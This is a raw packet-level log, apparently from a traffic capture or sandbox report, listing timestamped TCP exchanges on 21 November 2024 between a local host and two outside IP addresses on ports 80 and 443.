Nov 21, 2024 07:10:20.839693069 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.839730978 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.839773893 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.840500116 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.840599060 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.840614080 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.840639114 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.841372967 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.841487885 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.841531038 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.842253923 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.842297077 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.842367887 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.842533112 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.843132019 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.843204021 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.843262911 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.843319893 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.844041109 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.844093084 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.844145060 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.844188929 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.844899893 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.844961882 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.845041990 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.845087051 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.845755100 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.845803022 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.845938921 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.845995903 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.846630096 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.846698999 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.846765041 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.846813917 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.847523928 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.847610950 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.847634077 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.847680092 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.848402977 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.848505974 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.848529100 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.848573923 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.849268913 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.849313974 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.849380016 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.849430084 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.850147009 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.850188971 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.850286961 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.850342035 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.851025105 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.851068020 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.851082087 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:20.851125002 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:20.892168999 CET	443	49790	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.892672062 CET	49790	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:20.892697096 CET	443	49790	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:20.893181086 CET	49790	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:20.893194914 CET	443	49790	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.007024050 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.007086992 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.007179022 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.007232904 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.007438898 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.007496119 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.007524014 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.007616043 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.008276939 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.008338928 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.008410931 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.008488894 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.009141922 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.009202003 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.009270906 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.009319067 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.010060072 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.010096073 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.010109901 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.010143042 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.010962009 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.011013985 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.011015892 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.011061907 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.011801004 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.011851072 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.011931896 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.011986017 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.012696028 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.012758017 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.012821913 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.012928963 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.013556004 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.013626099 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.013690948 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.013747931 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.014455080 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.014506102 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.014535904 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.014554024 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.015336990 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.015398026 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.015425920 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.015505075 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.016192913 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.016249895 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.016298056 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.016415119 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.017111063 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.017167091 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.017231941 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.017277002 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.017930031 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.017980099 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.018043041 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.018151045 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.018802881 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.018858910 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.018922091 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.018970966 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.019773960 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.019876003 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.019881964 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.019922972 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.020569086 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.020618916 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.020684004 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.020768881 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.021455050 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.021506071 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.021512032 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.021548033 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.022342920 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.022391081 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.022463083 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.022496939 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.023226976 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.023277998 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.023340940 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.023391962 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.024127960 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.024180889 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.024245024 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.024293900 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.025000095 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.025089025 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.025095940 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.025141954 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.025846958 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.025897026 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.025950909 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.025995970 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.026700020 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.026751041 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.026808023 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.026856899 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.027596951 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.027699947 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.027707100 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.027738094 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.028455019 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.028516054 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.028595924 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.028650045 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.029334068 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.029392958 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.029458046 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.029515028 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.030250072 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.030308008 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.030371904 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.030420065 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.031092882 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.031147957 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.031212091 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.031280041 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.031961918 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.032021046 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.032083988 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.032128096 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.032849073 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.032903910 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.032906055 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.032949924 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.033746004 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.033797026 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.033834934 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.033885956 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.034615040 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.034699917 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.034737110 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.034785986 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.035456896 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.035598993 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.035600901 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.035645008 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.036344051 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.036463976 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.036506891 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.037230968 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.037276983 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.037316084 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.037451982 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.038086891 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.038134098 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.038208961 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.038378000 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.038989067 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.039037943 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.039074898 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.039134026 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.039824963 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.039865971 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.039937019 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.039980888 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.040715933 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.040752888 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.040813923 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.040857077 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.041593075 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.041636944 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.041758060 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.041798115 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.042457104 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.042503119 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.042560101 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.042606115 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.043348074 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.043421030 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.043428898 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.043471098 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.044235945 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.044281006 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.044365883 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.044409990 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.045124054 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.045167923 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.045217037 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.045978069 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.046025038 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.046081066 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.046119928 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.046869993 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.046914101 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.046967030 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.047008991 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.047750950 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.047797918 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.047828913 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.047878981 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.048614979 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.048743963 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.048791885 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.049491882 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.049586058 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.049635887 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.050384045 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.050446987 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.050474882 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.050527096 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.051234961 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.051286936 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.051342964 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.051388979 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.052145958 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.052194118 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.052223921 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.052273035 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.052974939 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.053025007 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.158565044 CET	443	49789	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.158715963 CET	443	49789	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.158812046 CET	49789	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.159257889 CET	49789	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.159291029 CET	443	49789	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.159336090 CET	49789	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.159352064 CET	443	49789	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.162256002 CET	49794	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.162349939 CET	443	49794	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.162426949 CET	49794	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.162616014 CET	49794	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.162648916 CET	443	49794	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.191634893 CET	443	49792	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.193517923 CET	49792	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.193545103 CET	443	49792	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.193901062 CET	49792	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.193912029 CET	443	49792	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.207144022 CET	443	49791	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.207298040 CET	443	49791	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.207376957 CET	49791	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.207490921 CET	49791	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.207490921 CET	49791	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.207511902 CET	443	49791	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.207532883 CET	443	49791	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.208296061 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.208374977 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.208429098 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.208751917 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.208798885 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.208832979 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.208875895 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.209649086 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.209681988 CET	49795	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.209697962 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.209708929 CET	443	49795	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.209764957 CET	49795	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.209790945 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.209832907 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.209852934 CET	49795	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:21.209857941 CET	443	49795	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:21.210671902 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.210716009 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.210798979 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.210840940 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.211385012 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.211426020 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.211491108 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.211556911 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.212280035 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.212353945 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.212393045 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.212435961 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.213116884 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.213159084 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.213237047 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.213275909 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.214013100 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.214104891 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.214144945 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.214894056 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.214936972 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.215007067 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.215049982 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.215770006 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.215811968 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.215892076 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.215933084 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.216624975 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.216672897 CET	49787	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:21.216726065 CET	80	49787	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:21.216768026 CET	49787	80	192.168.2.4	185.215.113.16
